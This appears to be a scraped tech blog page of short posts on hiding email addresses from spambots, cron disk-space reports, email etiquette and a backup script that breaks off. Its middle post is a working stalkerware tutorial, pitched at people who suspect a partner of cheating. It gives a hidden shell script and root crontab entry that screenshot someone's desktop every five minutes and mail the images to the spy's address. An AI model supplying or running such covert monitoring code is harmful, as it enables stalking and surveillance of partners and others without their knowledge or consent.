Hackosis

Silvan over at techblog.tilllate.com has done some research results for us on the best ways of obfuscating email addresses on a web page.

The method used involved nine different code snippits and came up with three over a period of one and a half years that received zero spam.

The Three Methods:

1. Changing the code direction with CSS:
   HTML [Show Styled Code]:

   
   
   email@domain.com
   

   HTML [Show Plain Code]:

   1. <style type="text/css"> 
   2. span.codedirection { unicode-bidi:bidi-override; direction: rtl; } 
   3. </style> 
   4. <p><span class="codedirection">email@domain.com</span></p>

 

2. Using CSS display:none:
   HTML [Show Styled Code]:

   
   
   email@nulldomain.com
   

   HTML [Show Plain Code]:

   1. <style type="text/css"> 
   2. p span.displaynone { display:none; } 
   3. </style> 
   4. <p>email@<span class="displaynone">null</span>domain.com</p>

 

3. ROT13 Encryption (using rot13 or str_rot13):
   HTML [Show Styled Code]:

   silvanfoobar's Mail

   HTML [Show Plain Code]:

   1. <script type="text/javascript"> 
   2. document.write("<n uers=\"znvygb:fvyinasbbone10@gvyyyngr.pbz\" ery=\"absbyybj\">".replace(/[a-zA-Z]/g, function(c){return String.fromCharCode((c<="Z"?90:122)>=(cc=c.charCodeAt(0)+13)?c:c-26);})); 
   3. </script>silvanfoobar’s Mail</a>

See more about this at techblog.tilllate.com. I noticed he didn’t other methods that I’ve seen such as breaking out the email address in a non-visible table, etc.

Have any other tips to obfuscate email addresses? Let us know in the comments.

Have suspicions about what goes on on your own computer when you are away? Think someone might be cheating? Do you often see that the history has been deleted out of the browser? Maybe you just want to keep tabs on what your kids are looking at when you aren’t right there watching.

By using some basic Linux commands and utilities (import, cron, postfix, and mutt) we can spy on any PC we have root access to.

The process is as follows:

1. Cron takes a screen shot of the desktop and saves it to a file using the import command.
2. Cron emails the screenshot to a specified address on a specific interval by using mutt.

The process is quite simple. Just open your terminal follow these steps (tested on Ubuntu, should work on other distros as well):

1. Install postfix, mutt, and imagemagick (for import):
    sudo apt-get install postfix mutt imagemagick
2. Create a message text file with something in it. Doesn’t matter what, just so it doesn’t get caught by the spam filters:
     nano /path/to/message.txt
3. Create a file named ’spy.sh’ (save it somewhere secretive) and add the following lines (fifth and sixth lines are one line). Change emailaccount@domain.com to your email address. Feel free to remove the rm command if you would like to keep the images stored locally (I would recommend moving them out of the /tmp directory tho):
     #!/bin/sh
   NOW=$(date +%Y%m%d%k%M)
   cd /tmp
   import -window root screenshot-$NOW.jpg
   mutt -s “Screenshot for $NOW” -a ./screenshot-$NOW.jpg emailaccount@domain.com < /path/to/message.txt
   rm /tmp/screenshot-$NOW.jpg
4. Now make the spy.sh executable:
     chmod u+x /path/to/spy.sh
5. Run the following (my cron didn’t run without it):
     sudo touch /etc/cron.deny
6. Edit your crontab ‘ sudo crontab -e‘ and enter the following:
    */5 * * * * /path/to/spy.sh

WARNING: This will email you a screen shot every 5 minutes. While this is great for spying beware that your email could fill up pretty quick! Take out some minutes in your crontab to decrease the interval ex, */10 for every 10 minutes or */20 for every 20 minutes.

TIP: If you don’t want the screenshot emailer running while you are on the PC just comment out the line we added with a ‘#’ at the beginning. Don’t forget to change it back before you leave!

TIP: If you aren’t receiving your messages your email server might be rejecting the email because it is originating from a dynamic IP range. In this case, you will need to configure mutt to use your email server instead.

That’s it! You should start receiving screen shots of your desktop in action once the crontab has been hit the first cycle. If you have any problems or questions feel free to leave a comment.

image by freezelight

Have you ever noticed linking to your email in a mailto tag on a website generates instant spam to your inbox? Spambots are constantly scavenging the Internet for email addresses.

By using a simple Javascript method, email addresses can be hidden from spambots on web pages. When scripting is disabled, the noscript tag can be used to link to a modified email that spambots will not be able to use.

Example using myemail@domain.com:
 
 

Thanks to BlogFlux for the tip.

image by Hamburger Jung

I believe that most of us have wrote something in an email that we regret and/or sent it to someone that wasn’t suppose to read what was written.

Deb Koen writes about how to recover from a blunder in an email with a sense of honesty and lightness. This could also relate to other situations.

Have you made a blunder in an email or conversation? If so, feel free to share it in the comments.

Keep your self in the know about how much space you have left on that Linux PC or server. With cron and the df command we can mail ourselves some information daily about hard drive usage. Make sure you have a working sendmail installed on the Linux machine you are sending the information from.

Follow the steps below on the machine of concern:

There, now, if everything goes well, you should have an email about your disk space usage. No more hard drive space running away from you.

NOTE: This may not work on a “hosted site” unless you have shell access.

It’s a hassle and can take a lot of time to backup your web site. Do the following to automate this task for you.

1. For backing up to windows share create the following text file in your home directory and name it “websitebackup.sh”. Put the following in the contents:
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